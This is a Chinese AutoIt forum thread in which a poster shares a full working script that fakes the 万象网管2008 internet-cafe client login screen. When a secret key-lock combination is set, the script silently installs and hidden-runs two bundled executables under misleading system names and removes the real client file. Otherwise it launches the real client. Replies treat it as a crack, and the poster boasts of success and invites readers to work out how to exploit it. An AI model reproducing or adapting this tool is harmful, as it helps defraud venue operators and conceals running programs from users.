关于语法问题
Func jia()FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\Clsmn.exe",@DesktopDir&"\Clsmn.exe",1)
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")
;创建背景窗口
GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
$ID=GUICtrlCreateInput("",695,694,130,22 )
GUISetStyle(-1,0)
$pwd=GUICtrlCreateInput("",854,694,130,22)
GUISetStyle(-1,0)
$LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button，登陆
GUICtrlSetOnEvent($LOGON, "lab")
GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
GUISetState(@SW_SHOW)
FileDelete(@DesktopDir&"\Clsmn.exe")
While 1
Sleep(100)
WEnd
EndFunc
Func lab()
If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
GUISetState(@SW_MINIMIZE)
Else
ToolTip("此卡未激活！",1031,695)
EndIf
EndFunc
提示$ID和$PWD未声明，烦请高手修改 兄弟你要山寨万象？ 因为你创建$ID 和$PWD在 func 里 所以另一个func要用这些变量 需要 在最开始 globle $ID $PWD 单词打错了是 Global $ID,$pwd 其实我是来刷金币的 {:face (303):} 自己摸索出来了，贴出来让新手学习下吧：#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=e:\wx1.ico
#AutoIt3Wrapper_outfile=e:\wx2008-done.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WindowsConstants.au3>
#include <GUIConstantsEx.au3>
Opt("TrayOnEventMode",1) ;应用/关闭 OnEvent 函数通知于系统托盘图标. 0 = (默认) 关闭 1 = 应用
;~ Opt("GUIOnEventMode", 0) ;0=取消, 1=启用 OnEvent 模式
Opt("TrayMenuMode",1) ;默认菜单项目 (脚本暂停中/退出)(Script Paused/Exit) 将不会显示.
TraySetState(2);卸载/隐藏 托盘图标
HotKeySet("+!P","quit") ;按Shift+ALT+P退出脚本
#include <WinAPI.au3>
Global Const $VK_CAPITAL= 0x14
Global Const $VK_NUMLOCK= 0x90
;~ Global Const $VK_SHIFT = 0x10
Global Const $VK_SCROLL=0x91
If _GetNumLock()=1 And _GetCapsLock()=1 And _GetScrollLock()=1 Then
jia()
Else
zhen()
EndIf
Func _GetNumLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_NUMLOCK)
Return $ret
EndFunc ;==>_GetNumLock
Func _GetScrollLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_SCROLL)
Return $ret
EndFunc ;==>_GetScrollLock
Func _GetCapsLock(); By GaryFrost
Local $ret
$ret = DllCall("user32.dll", "long", "GetKeyState", "long", $VK_CAPITAL)
Return $ret
EndFunc ;==>_GetCapsLock
Func jia()
FileInstall("E:\Bar.exe",@WindowsDir&"\DrvAnti.exe",1)
FileInstall("E:\Drv.exe",@WindowsDir&"\BarClientView.exe",1)
FileInstall("E:\Clsmn.exe",@DesktopDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@WindowsDir&"\BarClientView.exe","",@SW_HIDE)
Run(@WindowsDir&"\DrvAnti.exe","",@SW_HIDE)
FileInstall("E:\wx2008pic.jpg",@WindowsDir&"\wx2008pic.JPG",1)
FileInstall("E:\wx3.ico",@WindowsDir&"\wx2008.ico",1)
TraySetIcon(@WindowsDir&"\wx2008.ico","")
;创建背景窗口
GUICreate("万象网管2008标准版",@DesktopWidth,@DesktopHeight,"","",$WS_POPUP)
$ID=GUICtrlCreateInput("",695,694,130,22 )
GUISetStyle(-1,0)
$pwd=GUICtrlCreateInput("",854,694,130,22)
GUISetStyle(-1,0)
$LOGON=GUICtrlCreateLabel("",1001,693,32,32);类button，登陆
;~ GUICtrlSetOnEvent($LOGON, "lab")
GUICtrlCreatePic(@WindowsDir&"\wx2008pic.JPG", 0,0,@DesktopWidth, @DesktopHeight)
GUISetState(@SW_SHOW)
FileDelete(@DesktopDir&"\Clsmn.exe")
Do
$msg = GUIGetMsg()
Select
Case $msg=$LOGON
If GUICtrlRead($ID)=8705184714 And GUICtrlRead($pwd)=129526 Then
GUISetState(@SW_MINIMIZE)
Else
ToolTip("此卡未激活！",1031,695)
EndIf
EndSelect
Until $msg = $GUI_EVENT_CLOSE
EndFunc
Func zhen()
FileDelete(@SystemDir&"\Clsmn.exe")
FileInstall("E:\Clsmn.exe",@SystemDir&"\Clsmn.exe",1) ;真的Clsmn.exe
Run(@SystemDir&"\Clsmn.exe","",@SW_HIDE)
EndFunc
Func quit()
Exit 0
EndFunc
为什么要3盏灯同时亮着才运行你的假万象？难道这是最新破解万象的方法？3键同时按？ 俺已经成功了。。。哈哈
自己看着办吧，我就不说那么详细了。相信看的懂代码的就知道怎么玩他了] 自已拉根网线，想怎么玩就怎么玩，{:face (303):}
页:
[1]